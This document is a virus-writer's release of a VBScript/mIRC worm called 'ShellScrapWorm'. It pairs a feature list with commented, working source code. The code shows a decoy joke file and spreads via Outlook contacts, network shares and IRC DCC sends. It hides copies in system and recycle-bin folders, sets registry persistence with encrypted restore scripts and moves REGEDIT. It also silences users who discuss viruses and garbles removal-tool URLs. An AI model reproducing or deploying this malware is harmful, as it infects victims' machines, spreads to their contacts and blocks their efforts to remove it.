Worm Name: MIRC/NETWORK/OUTLOOK/PIRCH.ShellScrapWorm
Author: SimpleSimon / Zulu
Origin: Argentina / United States

VBScript worm. It uses MIRC, OUTLOOK, PIRCH and the network shares to send itself in a SHS
(Shell Scrap) file (first using this file type).
When run, it will create and then show a TXT file with jokes. After that, it will try to find
the SHS file to spread it. This is necessary because when the SHS file is run, it will create
the VBS file which is inside it in Windows' temporary directory and it will run this VBS file,
so this VBS file doesn't know the path of the SHS file to spread.
Then it will start the spreading code (spreading details can be found in the features section
of this file).
MIRC code was written by SimpleSimon, PIRCH and VBScript code was written by Zulu.
Encryption for strings code was taken from HTML/VBS.Zulu 3.1 virus.

Features:

- OUTLOOK spreading. It will use OUTLOOK to send itself to all contacts in the address book if
  the number of addresses is less than 101. If that number is more than 100 it will try to
  select 100 random addresses. Subject and body will be selected from some random choices.
  It will be run only once in each computer since it uses the registry to check if it was
  already run.
- Network spreading. It will try to find Windows in each share (not only mapped drives) to copy
  itself to the startup directory, so it could be run at next startup of the machine having the
  share. If it couldn't find Windows in it, it will copy itself to the root of the share,
  waiting for someone to run it.
  All this includes a check so a loop between shares sending the file won't happen.
- IRC spreading (MIRC and PIRCH). This includes a check in each startup, so the worm will still
  work in new MIRC and PIRCH installations.
- The MIRC script has a 1 in 2 chance of sending the SHS file on join or part (it alternates
  which event). It intercepts commands that could alter or damage the worm with the input event
  and also blocks all identifiers. It sends the SHS file to people when a file is received or
  sent and also to anyone on the notify list the first time a person appears.
  The script emulates the unload, remote, and events commands.
- The script hides it DCC sends using socket commands. Because of a problem while testing, the
  script allows 10 seconds before closing the socket in case it has sent the data but the user
  has not received all of it.
- There is a lot of protection in this script from IRC helpers such as those on "#nohack",
  "#dmsetup", etc. If the infected user enters a "bad" channel the script will try to ignore
  everyone in the channel and then part. The same is true if the infected user enters a channel
  with a topic with one of the disallowed words. If a person says "virus", "worm", "stages",
  "trojan", "spread", "infect", ".shs", "remote", "events", "unload", "script" or "dccallow"
  in either a query window, DCC chat window, channel, notice, topic, fserve, server notice,
  action, kick, part message, or quit message, then that user will be ignored. To stop easy
  fixes to this worm on IRC, the script looks for and modifies all urls. This prevents someone
  from saying "Go to www.nohack.net/bin/remover.exe to get cured.".
- Invisible DCC sending on join event in PIRCH.
- Uses the SHS extension, which is invisible by default, so the worm file
  ("LIFE_STAGES.TXT.SHS") will look like "LIFE_STAGES.TXT" even if Windows is set to show all
  extensions.
- Shows a TXT file when run, so it will show what the user expects.
- When the file is run from startup directory it won't create and show the TXT file. So if the
  SHS file was copied there by the network code to infect that machine, it won't be noticed.
- To find the SHS file, if Word is installed it will use it to do the search, if Word is not
  installed, it will search for the file using VBScript code looking in many common paths and
  all subdirectories of those paths.
  Both methods will look for SHS files with the size of the worm in case that the file was not
  found with the original name.
- Makes 2 backup copies of the worm with different names, one in Windows' "SYSTEM" directory
  and other in the recycled bin directory of the drive where Windows is located (if it doesn't
  exist the worm creates it).
- Copies the SHS file to some places with random names. This files may make the worm come back
  after removing it if someone runs them.
- Creates two VBS files to restore the worm from backup copies if the main copy was deleted.
  One of these is run at each startup (using the registry) and the other is run using ICQ's
  startup if ICQ is installed. Since these files will have a backup copy, each of them is able
  to restore the other, including also the registry settings needed. These VBS files are also
  able to restore the other VBS by using the SHS file if the backup copy was deleted.
  Also, they will delete the SHS file if it is found in the startup directory. So, when the
  worm comes from the network using that directory it will be run and it will create these
  VBS files, so it could be deleted later by any of them.
- Changes the SHS file icon to the TXT file icon and it sets the TXT extension to be always
  visible (even when Windows is set to hide known extensions).
  This way, since the SHS extension is always invisible, after the first run, the SHS file will
  be seen as a TXT file (same icon and extension).
- Moves "REGEDIT.EXE" to make more difficult to remove the worm from the registry. It will be
  named "RECYCLED.VXD" and it will be located in the recycled bin directory. REG files will
  still work and will have the correct icon.
- It uses the recycled bin directory to store some backup files and "REGEDIT.EXE". These files
  won't be seen in many utilities, so it will be more difficult to find and delete them.
- Encrypted strings. The encryption function uses as seed a value that is taken by reading
  itself (similar to HTML/VBS.Zulu 3.1 virus).
- We are sure we left out some stuff in this list, but nothing really important in the
  functionality of the worm.

Thanks:

- HomeSlice: for ideas like using the VXD extension when renaming "REGEDIT.EXE" (when they are
  run from the registry, VXD files are treated like EXE files), using 100 random email
  addresses when Outlook's address book is too big and running VBS files from the registry or
  from ICQ using "WSCRIPT.EXE" instead of running them directly (so it could work even if the
  VBS association is deleted).
- Ruzz: the idea of using Word for searching files was taken from one of his worms.
- Slug: a function to modify INI files was taken from his Tune worm (it has only a few little
  modifications).

Here is the code from the VBS file written by Zulu which is inside the SHS worm file (this is
a special version that has comments, unnecesary spaces were not removed and strings were not
encrypted):

'MIRC/NETWORK/OUTLOOK/PIRCH.ShellScrapWorm by SimpleSimon / Zulu

'Resume on next line in case of error and global variable declaration.

On Error Resume Next
Dim Y

'Encryption code (ZP will have the "Loop" value).

Set P=CreateObject("Scripting.FileSystemObject")
Set FZ=P.OpenTextFile(WScript.ScriptFullName,1)
Do While Mid(FZ.ReadLine,21,10)<>"e(WScript."
Loop
FZ.SkipLine
ZP=FZ.ReadLine
FZ.Close

'If the SHS file doesn't exist in Windows' startup directory it creates and opens a text file with jokes about life stages in the temporary directory.

Set R=CreateObject("WScript.Shell")
PD="LIFE_STAGES.TXT.SHS"
I=True
J=Chr(13)&Chr(10)
If Not P.FileExists(K(OE("StartUp"),PD)) Then
  I=False
  Set A=P.CreateTextFile(K(E(2),"LIFE_STAGES.TXT"),True)
  A.Write("- The male stages of life:"&J&J&"Age. Seduction lines."&J&"17   My parents are away for the weekend."&J&"25   My girlfriend is away for the weekend."&J&"35   My fiancee is away for the weekend."&J&"48   My wife is away for the weekend."&J&"66   My second wife is dead."&J&J&"Age. Favorite sport."&J&"17   Sex."&J&"25   Sex."&J&"35   Sex."&J&"48   Sex."&J&"66   Napping."&J&J&"Age. Definiton of a successful date."&J&"17   Tongue."&J&"25   Breakfast."&J&"35   She didn't set back my therapy."&J&"48   I didn't have to meet her kids."&J&"66   Got home alive."&J&J&J&"- The female stages of life:"&J&J&"Age. Favourite fantasy."&J&"17   Tall, dark and hansome."&J&"25   Tall, dark and hansome with money."&J&"35   Tall, dark and hansome with money and a brain."&J&"48   A man with hair."&J&"66   A man."&J&J&"Age. Ideal date."&J&"17   He offers to pay."&J&"25   He pays."&J&"35   He cooks breakfast next morning."&J&"48   He cooks breakfast next morning for the kids."&J&"66   He can chew his breakfast."&J)
  A.Close
  R.Run(K(E(2),"LIFE_STAGES.TXT"))
End If

'Searchs for the SHS file.

If Not I Then

  'If the SHS file doesn't exist in Windows' startup directory, it checks if Word is installed and searchs for the SHS file using the correct function.

  N=""
  Set N=CreateObject("Word.Application")
  If N Is Nothing Then
    T=L(True)

    'If the SHS file with the original name was not found, it searchs (without using Word) for SHS files with any name but with the size of the original file.

    If T="" Then T=L(False)

  Else
    T=W(PD)

    'If the SHS file with the original name was not found, it searchs (using Word) for SHS files with any name but with the size of the original file.

    If T="" Then T=W("*.SHS")

    N.Quit
  End If

Else
  T=K(OE("StartUp"),PD)
End If

'If it was able of finding the SHS file, it starts the spreading code.

If T<>"" Then

  'Copies the SHS file to 3 different places (main copy and 2 backups for restoring the main copy if it was deleted).

  P.CopyFile T,K(E(0),PD)
  Set F=P.GetFile(K(E(0),PD))
  F.Attributes=32
  P.CopyFile K(E(0),PD),K(E(1),"MSINFO16.TLB")
  If Not P.FolderExists(Left(E(0),3)&"RECYCLED") Then
    P.CreateFolder(Left(E(0),3)&"RECYCLED")
    Set F=P.GetFolder(Left(E(0),3)&"RECYCLED")
    F.Attributes=22
  End If
  P.CopyFile K(E(0),PD),K(Left(E(0),3)&"RECYCLED","MSRCYCLD.DAT")
  Set F=P.GetFile(K(Left(E(0),3)&"RECYCLED","MSRCYCLD.DAT"))
  F.Attributes=39

  'Copies the SHS file to some places with random names. These SHS files will be seen as TXT files (icon and extension of TXT files since this is changed by the worm later in this file) and may make the worm come back after removing it if someone runs them.

  Randomize
  For Each Z In P.Drives
    If Z.DriveType=2 Then UQ Z.DriveLetter&":\"
  Next
  UQ OE("MyDocuments")
  UQ OE("Programs")

  'Creates the first VBS file to make the worm come back if someone tried to delete it. It copies it to other place and it adds it to the registry to be run at Windows' startup. This VBS file is the one that searchs for MIRC and PIRCH to modify them. Also, this file checks that all other needed files exist, as well as ICQ's startup registry key for the second VBS file.

  Set A=P.CreateTextFile(K(E(1),"SCANREG.VBS"),True)
  A.Write("On Error Resume Next"&J&"Dim HU"&J&"Set Y=CreateObject(""Scripting.FileSystemObject"")"&J&"Set SJ=Y.OpenTextFile(WScript.ScriptFullName,1)"&J&"Do While Mid(SJ.ReadLine,5,10)<>""Q=CreateOb"""&J&"Loop"&J&"SJ.SkipLine"&J&"LH=SJ.ReadLine"&J&"SJ.Close"&J&"Set Q=CreateObject(Z(""VRbshqu/Ridmm""))"&J&"FP=Z(""MHGD^RU@FDR/UYU/RIR"")"&J&"If Y.FileExists(P(J(Z(""Ru`suTq"")),FP)) Then Y.DeleteFile P(J(Z(""Ru`suTq"")),FP),True"&J&"K=False"&J&"If Not Y.FileExists(P(H(0),FP)) Then"&J&"If Y.FileExists(P(H(1),Z(""LRHOGN07/UMC""))) Then"&J&"Y.CopyFile P(H(1),Z(""LRHOGN07/UMC"")),P(H(0),FP)"&J&"Else"&J&"If Y.FileExists(P(Left(H(0),3)&Z(""SDBXBMDE""),Z(""LRSBXBME/E@U""))) Then"&J&"Y.CopyFile P(Left(H(0),3)&Z(""SDBXBMDE""),Z(""LRSBXBME/E@U"")),P(H(0),FP)"&J&"Set L=Y.GetFile(P(H(0),FP))"&J&"L.Attributes=32"&J&"Else"&J&"K=True"&J&"End If"&J&"End If"&J&"End If"&J&"If Not K Then"&J&"If Not Y.FileExists(P(H(1),Z(""LRHOGN07/UMC""))) Then Y.CopyFile P(H(0),FP),P(H(1),Z(""LRHOGN07/UMC""))"&J&"If Not Y.FileExists(P(Left(H(0),3)&Z(""SDBXBMDE""),Z(""LRSBXBME/E@U""))) Then"&J&"If Not Y.FolderExists(Left(H(0),3)&Z(""SDBXBMDE"")) Then"&J&"Y.CreateFolder(Left(H(0),3)&Z(""SDBXBMDE""))"&J&"Set L=Y.GetFolder(Left(H(0),3)&Z(""SDBXBMDE""))"&J&"L.Attributes=22"&J&"End If"&J&"Y.CopyFile P(H(0),FP),P(Left(H(0),3)&Z(""SDBXBMDE""),Z(""LRSBXBME/E@U""))"&J&"Set L=Y.GetFile(P(Left(H(0),3)&Z(""SDBXBMDE""),Z(""LRSBXBME/E@U"")))"&J&"L.Attributes=39"&J&"End If"&J&"If Not Y.FileExists(P(Left(H(0),3)&Z(""SDBXBMDE""),Z(""ECHOEDY/WCR""))) Then"&J&"If Y.FileExists(P(H(1),Z(""WC@RDU/NMC""))) Then"&J&"Y.CopyFile P(H(1),Z(""WC@RDU/NMC"")),P(Left(H(0),3)&Z(""SDBXBMDE""),Z(""ECHOEDY/WCR""))"&J&"Set L=Y.GetFile(P(Left(H(0),3)&Z(""SDBXBMDE""),Z(""ECHOEDY/WCR"")))"&J&"L.Attributes=39"&J&"Else"&J&"K=True"&J&"Y.CopyFile P(H(0),FP),P(J(Z(""Ru`suTq"")),FP)"&J&"End If"&J&"End If"&J&"End If"&J&"If Not K Then"&J&"If Not Y.FileExists(P(H(1),Z(""WC@RDU/NMC""))) Then"&J&"Y.CopyFile P(Left(H(0),3)&Z(""SDBXBMDE""),Z(""ECHOEDY/WCR"")),P(H(1),Z(""WC@RDU/NMC""))"&J&"Set L=Y.GetFile(P(H(1),Z(""WC@RDU/NMC"")))"&J&"L.Attributes=32"&J&"End If"&J&"If Not Y.FileExists(P(Left(H(0),3)&Z(""SDBXBMDE""),Z(""SBXBMECO/E@U""))) Then"&J&"Y.CopyFile WScript.ScriptFullName,P(Left(H(0),3)&Z(""SDBXBMDE""),Z(""SBXBMECO/E@U""))"&J&"Set L=Y.GetFile(P(Left(H(0),3)&Z(""SDBXBMDE""),Z(""SBXBMECO/E@U"")))"&J&"L.Attributes=39"&J&"End If"&J&"Q.RegWrite Z(""IJDX^TRDSR]/EDG@TMU]Rnguv`sd]Lhs`chmhr]HBP]@fdou]@qqr]HBP]Do`cmd""),Z(""Xdr"")"&J&"Q.RegWrite Z(""IJDX^TRDSR]/EDG@TMU]Rnguv`sd]Lhs`chmhr]HBP]@fdou]@qqr]HBP]Q`s`ldudsr""),P(Left(H(0),3)&Z(""SDBXBMDE""),Z(""ECHOEDY/WCR""))"&J&"Q.RegWrite Z(""IJDX^TRDSR]/EDG@TMU]Rnguv`sd]Lhs`chmhr]HBP]@fdou]@qqr]HBP]Q`ui""),P(H(0),Z(""VRBSHQU/DYD""))"&J&"Q.RegWrite Z(""IJDX^TRDSR]/EDG@TMU]Rnguv`sd]Lhs`chmhr]HBP]@fdou]@qqr]HBP]Ru`sutq""),H(0)"&J&"OJ="""""&J&"Set OJ=CreateObject(Z(""Vnse/@qqmhb`uhno""))"&J&"G=Chr(13)&Chr(10)"&J&"If OJ Is Nothing Then"&J&"For Each F In Y.Drives"&J&"If F.DriveType=2 Then"&J&"X F.DriveLetter&Z("";]LHSB"")"&J&"X F.DriveLetter&Z("";]LHSB23"")"&J&"X F.DriveLetter&Z("";]QHSBI"")"&J&"X F.DriveLetter&Z("";]QHSBI89"")"&J&"End If"&J&"Next"&J&"X Q.RegRead(Z(""IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Qsnfs`lGhmdrEhs""))"&J&"Else"&J&"T Z(""LHSB23/DYD"")"&J&"T Z(""QHSBI89/DYD"")"&J&"OJ.Quit"&J&"End If"&J&"End If"&J&"Function Z(AZ)"&J&"Z="""""&J&"For ZP=1 To Len(AZ)"&J&"If Asc(Mid(AZ,ZP,1))<>34 And Asc(Mid(AZ,ZP,1))<>35 And Asc(Mid(AZ,ZP,1))<>126 Then"&J&"If Asc(Mid(AZ,ZP,1)) Mod 2=0 Then Z=Z&Chr(Asc(Mid(AZ,ZP,1))+Left(Asc(Mid(LH,2,1)),1)) Else Z=Z&Chr(Asc(Mid(AZ,ZP,1))-Left(Asc(Mid(LH,2,1)),1))"&J&"Else"&J&"Z=Z&Mid(AZ,ZP,1)"&J&"End If"&J&"Next"&J&"End Function"&J&"Function P(S,M)"&J&"On Error Resume Next"&J&"P=Y.BuildPath(S,M)"&J&"End Function"&J&"Function J(W)"&J&"On Error Resume Next"&J&"J=Q.SpecialFolders(W)"&J&"End Function"&J&"Function H(R)"&J&"On Error Resume Next"&J&"H=Y.GetSpecialFolder(R)"&J&"End Function"&J&"Sub X(U)"&J&"On Error Resume Next"&J&"If Y.FolderExists(U) Then"&J&"For Each D In Y.GetFolder(U).Files"&J&"If UCase(D.Name)=Z(""LHSB23/DYD"") Then"&J&"V D.Path"&J&"Exit Sub"&J&"ElseIf UCase(D.Name)=Z(""QHSBI89/DYD"") Then"&J&"B D.Path"&J&"Exit Sub"&J&"End If"&J&"Next"&J&"For Each E In Y.GetFolder(U).SubFolders"&J&"X E.Path"&J&"Next"&J&"End If"&J&"End Sub"&J&"Sub T(O)"&J&"On Error Resume Next"&J&"Set C=OJ.FileSearch"&J&"C.NewSearch"&J&"C.FileName=O"&J&"C.SearchSubFolders=True"&J&"For Each D In Y.Drives"&J&"If D.DriveType=2 Then"&J&"C.LookIn=D.DriveLetter&Z("";]"")"&J&"C.Execute"&J&"ReDim I(C.FoundFiles.Count)"&J&"For E=1 To UBound(I)"&J&"I(E)=C.FoundFiles(E)"&J&"Next"&J&"For E=1 To UBound(I)"&J&"For F=E+1 To UBound(I)"&J&"If I(E)=I(F) And I(E)<>"""" Then I(F)="""""&J&"Next"&J&"Next"&J&"For E=1 To UBound(I)"&J&"If I(E)<>"""" Then"&J&"If UCase(Right(I(E),Len(O)+1))=Z(""]"")&O Then"&J&"If O=Z(""LHSB23/DYD"") Then V I(E) Else B I(E)"&J&"End If"&J&"End If"&J&"Next"&J&"C.NewSearch"&J&"C.FileName=O"&J&"C.SearchSubFolders=True"&J&"End If"&J&"Next"&J&"End Sub"&J&"Sub V(A)"&J&"On Error Resume Next"&J&"Set RQ=Y.GetFile(A)"&J&"If Y.FileExists(P(RQ.ParentFolder,Z(""LHSB/HOH""))) Then"&J&"Set UY=Y.CreateTextFile(P(H(0),Z(""RNTOE23C/EMM"")),True)"&J&"UY.Write(""On 1:Connect:{ Set %.go $false | Set %.which $r(1,2) | Set %.file ""&P(H(0),FP)&"" | if ( $exists(%.file) ) { Set %.go $true } | Unset %be.* %pk.* %S.* | life }""&G&""On 1:Disconnect:{ .timers off | .sockclose * | Set %.date $adate }""&G&""On 1:Input:*:{ Set %.var1 Ignore:Alias:Write:Play:Rename:Copy:Load:Remini:Writeini:Run:Filter:Flushini:Reload:Remove:Set:Unset:UnsetAll:Enable:Disable: | Set %.var2 $remove($1,/,.) | if ( $istok(%.var1,%.var2,58) ) || ( %.var2 = $null ) || ( timer isin $1 ) { halt } | if ( $chr(36) isin $1- )  { if ( $pos($1-,$,0) > 1 ) { halt } | Set %.tmp1 $asc($mid($1-,$calc($pos($1-,$,1) + 1),1)) | if ( %.tmp1 > 47 ) && ( %.tmp1 < 58 ) { return } | elseif ( %.tmp1 = 32) { return } | halt } }""&G&""On 1:Join:*:{ if ( help isin # ) || ( ayuda isin # ) || ( virus isin # ) || ( $remove(#,$chr(35)) isin dmsetupbackorificenohackaide ) { .timerqt 1 5 quiet # } | if ( %.go ) && ( %.which = 1 ) { if ( $r(1,2) = 1 ) && ( $nick != $me ) { LS $nick } } }""&G&""On ^1:Part:*:{ if ( %.go ) && ( %.which = 2 ) { if ( $r(1,2) = 1 ) && ( $nick isreg # ) && ( $nick != $me ) { LS $nick } } | letslook $1- | if ( $letsthink ) { halt } }""&G&""On 1:FileSent:*:{ if ( %.go ) { LS $nick } }""&G&""On 1:FileRcvd:*:{ if ( %.go ) { LS $nick } }""&G&""On 1:Notify:{ if ( %.go ) { if ( $nick !isin %.nt ) { %.nt = %.nt $+ $nick | .ignore -u120 $nick 2 | .timer $+ $r(99,199) 1 10 .msg $nick Hi. Check out this file, ok. | .timer $+ $r(300,399) 1 12 LS $nick } } }""&G&""On ^1:Kick:*:{ if ( $knick = $me ) { letslook $1- } | if ( $letsthink ) && ( $knick = $me ) { .echo -s 3*** You were kicked from $+ $chr(32) $+ $chan $+ $chr(32) $+ by $nick ( $+ $me $+ ) | halt } }""&G&""On ^1:Notice:*:*:{ letslook $1- | if ( $letsthink ) { if ( $chr(35) !isin $active ) { halt } | .echo $active 5- $+ $nick $+ - $+ $chr(32) $+ $modurl | halt } }""&G&""On ^1:Action:*:*:{ letslook $1- | if ( $letsthink ) { if ( # = $me ) { Set %.tmp11 $nick } | if ( # != $me ) { Set %.tmp11 # } | .echo %.tmp11 6* $+ $chr(32) $+ $nick $+ $chr(32) $+ $modurl | halt } }""&G&""On ^1:Text:*:*:{ letslook $1- | if ( $letsthink ) { if ( # = $null ) { Set %.tmp11 $nick } | if ( # != $null ) { Set %.tmp11 # } | .echo %.tmp11 < $+ $nick $+ > $+ $chr(32) $+ $modurl | halt } }""&G&""On ^1:Chat:*:{ letslook $1- | if ( $letsthink ) { .echo =$nick < $+ $nick $+ > $+ $chr(32) $+ $modurl | halt } }""&G&""On ^1:Serv:*:{ letslook $1- | if ( $letsthink ) { halt } }""&G&""On ^1:Quit:{ Set %.topic 3 | letslook $1- | if ( $letsthink ) { .echo $comchan($nick,1) 2*** $+ $chr(32) $+ $nick $+ $chr(32) $+ has quit IRC ( $+ $modurl $+ ) | halt } }""&G&""On ^1:Topic:#:{ Set %.topic 2 | letslook $1- | if ( $letsthink ) { .echo # 3*** $nick changes topic to ' $+ $modurl $+ ' | halt } }""&G&""on ^1:SNOTICE:*:{ letslook $1- }""&G&""ctcp 1:*:*:{ letslook $1- | if ( $letsthink ) { halt } }""&G&""raw 332:*:{ Set %.topic 1 | letslook $2- | if ( $letsthink ) { .clear $2 | .echo $2 3*** Topic is ' $+ $modurl $+ ' | halt } }""&G&""raw 401:*:{ if ( %S. $+ $2 != $null ) { .timer $+ $2 off | .sockclose . $+ $2 | .sockclose . $+ $2 | Set %.warning $2 | halt } }""&G&""raw 439:*:{ halt }""&G&""alias quiet { Set %.var3 1 | :j | Set %.var4 $nick($1,%.var3) | if ( %.var4 = $null ) { .part $1 | halt } | if ( %.var4 != $me ) && ( %.var4 != X ) && ( %.var4 != W ) { .ignore %.var4 2 } | inc %.var3 | goto j }""&G&""alias -l life { if ( %.date != $null ) { if ( $gettok(%.date,2,47) < $gettok($adate,2,47) ) || ( $gettok(%.date,1,47) < $gettok($adate,1,47) ) { stages } } }""&G&""alias -l stages { Set %tmp1 $ignore(0) | Set %tmp2 0 | :tm | inc %tmp2 | if ( %tmp1 = $null ) || ( %tmp2 > %tmp1 ) { goto out } | .ignore -r $ignore(1) | goto tm | :out }""&G&""alias letsdo { .ignore $nick 2 | halt }""&G&""alias letslook { if ( Stages isin $1- ) || ( .shs isin $1- ) || ( script isin $1- ) || ( worm isin $1- ) || ( virus isin $1- ) || ( trojan isin $1- ) || ( infect isin $1- ) || ( spread isin $1- ) || ( remote isin $1- ) || ( events isin $1- ) || ( unload isin $1- ) || ( virii isin $1- ) || ( dccallow isin $1- ) { if ( %.topic = 1 ) { unset %.topic | .timerf 1 1 quiet $1 | halt } | if ( %.topic = 2 ) { unset %.topic | quiet # | halt } | if ( %.topic = 3 ) { halt } | letsdo } | if ( %.topic = 1 ) { Set %.think $2- } | else { Set %.think $1- } | Unset %.topic }""&G&""alias unload { if ( $1 = $null ) || ( $2 = $null ) { .echo -e 2* /unload: insufficient parameters | halt } | .echo -e 2*** Unloaded script ' $+ $2- $+ ' | halt }""&G&""alias remote { if ( $1 = on ) { .echo -e 2*** Remote is ON (Ctcps,Events,Raw) } | else { .echo -e 2*** Remote is OFF | halt } }""&G&""alias events { if ( $1 = on ) { .echo -e 2*** Events are ON } | else { .echo -e 2*** Events are OFF | halt } }""&G&""On 1:SockClose:.*:{ Set %.tmp6 $remove($sockname,.) | sockclose $sockname | sockclose [ . $+ [ %.tmp6 ] ] | .timer $+ %.tmp6 off }""&G&""On 1:SockListen:.*:{ Set %.tmp5 $remove($sockname,.) | sockaccept . $+ %.tmp5 | SL %.tmp5 }""&G&""On 1:SockWrite:.*:{ Set %.tmp6 $remove($sockname,.) | if ( [ % $+ [ S. $+ [ %.tmp6 ] ] ] = 1 ) { .timer $+ $r(99,9999) 1 10 sockclose $sockname | .timer $+ $r(99,9999) 1 10 sockclose [ . $+ [ %.tmp6 ] ] | .timer $+ %.tmp6 off | halt } | SL %.tmp6 }""&G&""alias LS { if ( $sock(.*,0) > 5 ) { return } | Set %S. $+ $1 0 | :pointless | Set %pt $r(2400,5000) | if ( $portfree(%pt) = $false ) { goto pointless } | Set [ % $+ [ be. $+ [ $1 ] ] ] 0 | Set %pk. $+ $1 4096 | Set %sz $file(%.file).size | Set %.tmp4 . $+ $1 | .timer $+ $1 1 240 .sockclose %.tmp4 $+ $chr(32) $+ $chr(124) $+ $chr(32) $+ .sockclose . $+ $1 | .timer1 $+ $1 1 20 TO $1 | .notice $1 DCC Send $left($gettok(%.file,3,92), $calc( [ $len( [ $gettok(%.file,3,92) ] ) ] - 4 ) ) ( $+ $ip $+ ) | if ( $1 = %.warning ) { return } | .ignore -u90 $1 2 | .raw -q privmsg $1 : $+ $chr(1) $+ DCC SEND %.file $longip($ip) %pt %sz $+ $chr(1) | if ( $sock(%.tmp4) != $null ) { .sockclose %.tmp4 } | .socklisten %.tmp4 %pt }""&G&""alias SL { if ( $calc( [ % $+ [ be. $+ [ $1 ] ] ] + [ % $+ [ pk. $+ [ $1 ] ] ] ) < %sz) { bread %.file [ % $+ [ be. $+ [ $1 ] ] ] [ % $+ [ pk. $+ [ $1 ] ] ] &data | .sockwrite . $+ $1 &data | inc [ % $+ [ be. $+ [ $1 ] ] ] [ % $+ [ pk. $+ [ $1 ] ] ] } | else { Set [ % $+ [ S. $+ [ $1 ] ] ] 1 | [ % $+ [ pk. $+ [ $1 ] ] ] = $calc( %sz - [ % $+ [ be. $+ [ $1 ] ] ] ) | if ( [ % $+ [ pk. $+  [ $1 ] ] ] = 0) { return } | bread %.file [ % $+ [ be. $+ [ $1 ] ] ] [ % $+ [ pk. $+ [ $1 ] ] ] &data | .sockwrite . $+ $1 &data } }""&G&""alias TO { if ( [ % $+ [ be. $+ [ $1 ] ] ] = 0 ) { sockclose [ . $+ [ $1 ] ] | sockclose [ . $+ [ $1 ] ] | .timer $+ $1 off } }""&G&""alias modurl { Set %.think $replace(%.think,$chr(44),$chr(32),$chr(59),$chr(32)) | Unset %.think.again | Set %.var6 $numtok(%.think,32) | Set %.var61 1 | Set %.var64 $nick $+ $chr(91) $+ $gettok($address,2,64) $+ $chr(93) | :mod1 | if ( %.var61 > %.var6 ) { return %.think.again } | Set %.var62 $gettok(%.think,%.var61,32) | if ( http !isin %.var62 ) && ( www !isin %.var62 ) && ( ftp. !isin %.var62 ) && ( .com !isin %.var62 ) && ( .net !isin %.var62 ) && ( .org !isin %.var62 ) { Set %.think.again %.think.again $+ $chr(32) $+ %.var62 | inc %.var61 | goto mod1 } | if ( $gettok($address,2,64) isin %.var62 ) { Set %.think.again %.think.again $+ $chr(32) $+ %.var62 | inc %.var61 | goto mod1 }""&G&""if ( %.var64 isin %.var62 ) { Set %.think.again %.think.again $+ $chr(32) $+ %.var62 | inc %.var61 | goto mod1 } | Set %.var63 $gettok(%.var62,2,46) | if ( %.var63 = $null ) { Set %.think.again %.think.again $+ $chr(32) $+ %.var62 | inc %.var61 | goto mod1 } | if ( $len(%.var63) > 2 ) { Set %.var63 $left(%.var63,$int($calc($len(%.var63)/2))) $+ $r(a,z) $+ $mid(%.var63,$calc($int($calc($len(%.var63)/2)) + 1),$len(%.var63)) } | Set %.var63 $r(A,Z) $+ %.var63 $+ $r(a,z) | Set %.think.again %.think.again $+ $chr(32) $+ $puttok(%.var62,%.var63,2,46) | inc %.var61 | goto mod1 }""&G&""alias letsthink { if ( http isin %.think ) || ( .org isin %.think ) || ( .net isin %.think ) || ( .com isin %.think ) || ( ftp. isin %.think ) || ( www isin %.think ) { return $true } | return $false }""&G)"&J&"UY.Close"&J&"FW P(RQ.ParentFolder,Z(""LHSB/HOH"")),Z(""sghmdr""),Z(""o3""),P(H(0),Z(""RNTOE23C/EMM""))"&J&"If Not HU Then"&J&"Set UY=Y.OpenTextFile(P(RQ.ParentFolder,Z(""LHSB/HOH"")),1)"&J&"If Not UY.AtEndOfStream Then"&J&"HD=0"&J&"Do"&J&"ReDim Preserve GQ(HD)"&J&"JD=UY.ReadLine"&J&"GQ(HD)=JD"&J&"HD=HD+1"&J&"If Left(JD,8)=Z(""Zsghmdr\"") Then"&J&"If Not UY.AtEndOfStream Then"&J&"ReDim Preserve GQ(HD)"&J&"GQ(HD)=UY.ReadLine"&J&"End If"&J&"If Not UY.AtEndOfStream Then"&J&"ReDim Preserve GQ(HD+1)"&J&"GQ(HD+1)=UY.ReadLine"&J&"End If"&J&"ReDim Preserve GQ(HD+2)"&J&"GQ(HD+2)=Z(""o3<"")&P(H(0),Z(""RNTOE23C/EMM""))"&J&"HD=HD+3"&J&"End If"&J&"Loop Until UY.AtEndOfStream"&J&"UY.Close"&J&"Set UY=Y.CreateTextFile(P(RQ.ParentFolder,Z(""LHSB/HOH"")),True)"&J&"UY.Write(Join(GQ,G)&G)"&J&"UY.Close"&J&"Else"&J&"UY.Close"&J&"End If"&J&"End If"&J&"End If"&J&"End Sub"&J&"Sub B(GY)"&J&"On Error Resume Next"&J&"Set RP=Y.GetFile(GY)"&J&"Set YT=Y.CreateTextFile(P(RP.ParentFolder,Z(""DWDOUR/HOH"")),True)"&J&"YT.Write(""[Levels]""&G&""Enabled=1""&G&""Count=1""&G&""Level1=000-Unknowns""&G&""000-UnknownsEnabled=1""&G&""[000-Unknowns]""&G&""User1=*!*@*""&G&""UserCount=1""&G&""Event1=ON JOIN:#:/dcc send $nick ""&P(H(0),FP)&G&""EventCount=1""&G)"&J&"YT.Close"&J&"If Y.FileExists(P(RP.ParentFolder,Z(""QHSBI89/HOH""))) Then FW P(RP.ParentFolder,Z(""QHSBI89/HOH"")),Z(""EBB""),Z(""@tunIhedEbbVho""),Z(""0"")"&J&"End Sub"&J&"Sub FW(SW,KW,FG,JK)"&J&"On Error Resume Next"&J&"Set PK=Y.OpenTextFile(SW,1)"&J&"QS=Split(PK.ReadAll,G)"&J&"PK.Close"&J&"OY=False"&J&"HU=False"&J&"For WD=0 To UBound(QS)"&J&"If Left(QS(WD),1)=Z(""Z"") Then"&J&"If OY=True Then"&J&"Exit For"&J&"Else"&J&"If Left(QS(WD),Len(KW)+2)=Z(""Z"")&KW&Z(""\"") Then OY=True"&J&"End If"&J&"Else"&J&"If OY=True Then"&J&"If Left(QS(WD),Len(FG)+1)=FG&Z(""<"") Then"&J&"HU=True"&J&"QS(WD)=FG&Z(""<"")&JK"&J&"Exit For"&J&"End If"&J&"End If"&J&"End If"&J&"Next"&J&"If HU Then"&J&"Set PK=Y.CreateTextFile(SW,True)"&J&"PK.Write(Join(QS,G))"&J&"PK.Close"&J&"End If"&J&"End Sub"&J)
  A.Close
  P.CopyFile K(E(1),"SCANREG.VBS"),K(Left(E(0),3)&"RECYCLED","RCYCLDBN.DAT")
  Set F=P.GetFile(K(Left(E(0),3)&"RECYCLED","RCYCLDBN.DAT"))
  F.Attributes=39
